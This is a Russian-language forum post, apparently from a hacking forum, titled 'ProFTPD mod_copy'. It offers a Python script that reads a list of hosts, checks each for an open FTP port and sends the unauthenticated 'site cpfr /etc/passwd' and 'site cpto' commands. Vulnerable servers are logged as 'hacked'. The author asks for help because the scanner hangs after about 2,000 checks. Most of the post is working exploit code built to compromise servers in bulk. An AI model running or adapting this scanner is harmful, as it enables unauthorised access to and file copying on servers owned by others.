Тема: ProFTPD mod_copy
Показать сообщение отдельно
Старый 06.08.2015, 23:10   #13
Faaax
 
Аватар для Faaax
 
Регистрация: 03.04.2012
Сообщений: 94
Репутация: 6
По умолчанию

Цитата:
Сообщение от z0mbie Посмотреть сообщение
Проверки на ответ от сервера небыло
В питоне плохо шарю. Но полностью переделал скрипт:
Код:
ips=0
l=[]
f1 = open("c:/ip/good.txt", 'w')
with open('c:/ip/ip.txt') as f :
 l = f.read().splitlines()
def ping(host, port, results = None):
    try:
        socket.socket().connect((host, port))
        if results is not None:
            results.append(port)
        return True
    except:
        return False
def getip(gett):
    try:
        d=socket.gethostbyname(gett)
        return d
    except:
        return False
def connects(ippp):
    try:
       sock = socket.socket()
       sock.connect((ippp, 21))
       part1 = sock.recv(1024)
       sock.send('site cpfr /etc/passwd \n')
       part2 = sock.recv(1024)
       sock.send('site cpto /tmp/passwd.copy \n')
       part3 = sock.recv(1024)
       sock.close()
       return part3
    except:
       return False
while ips!=len(l):
 try:
     print ips
     get=getip(l[ips])
     if get != False:
      pin=ping(get,21)
      if pin != False:
       con=connects(get)
       if "250 Copy" in con:
        print('hacked '+l[ips])
        f1.write(l[ips] + '\n')
 except:
     print('no hacked')
 ips=ips+1
Иногда бывает зависает после 2к чеков.
все гуды пропускает,даже если в файле один ип всё равно пропустил.
Faaax вне форума   Ответить с цитированием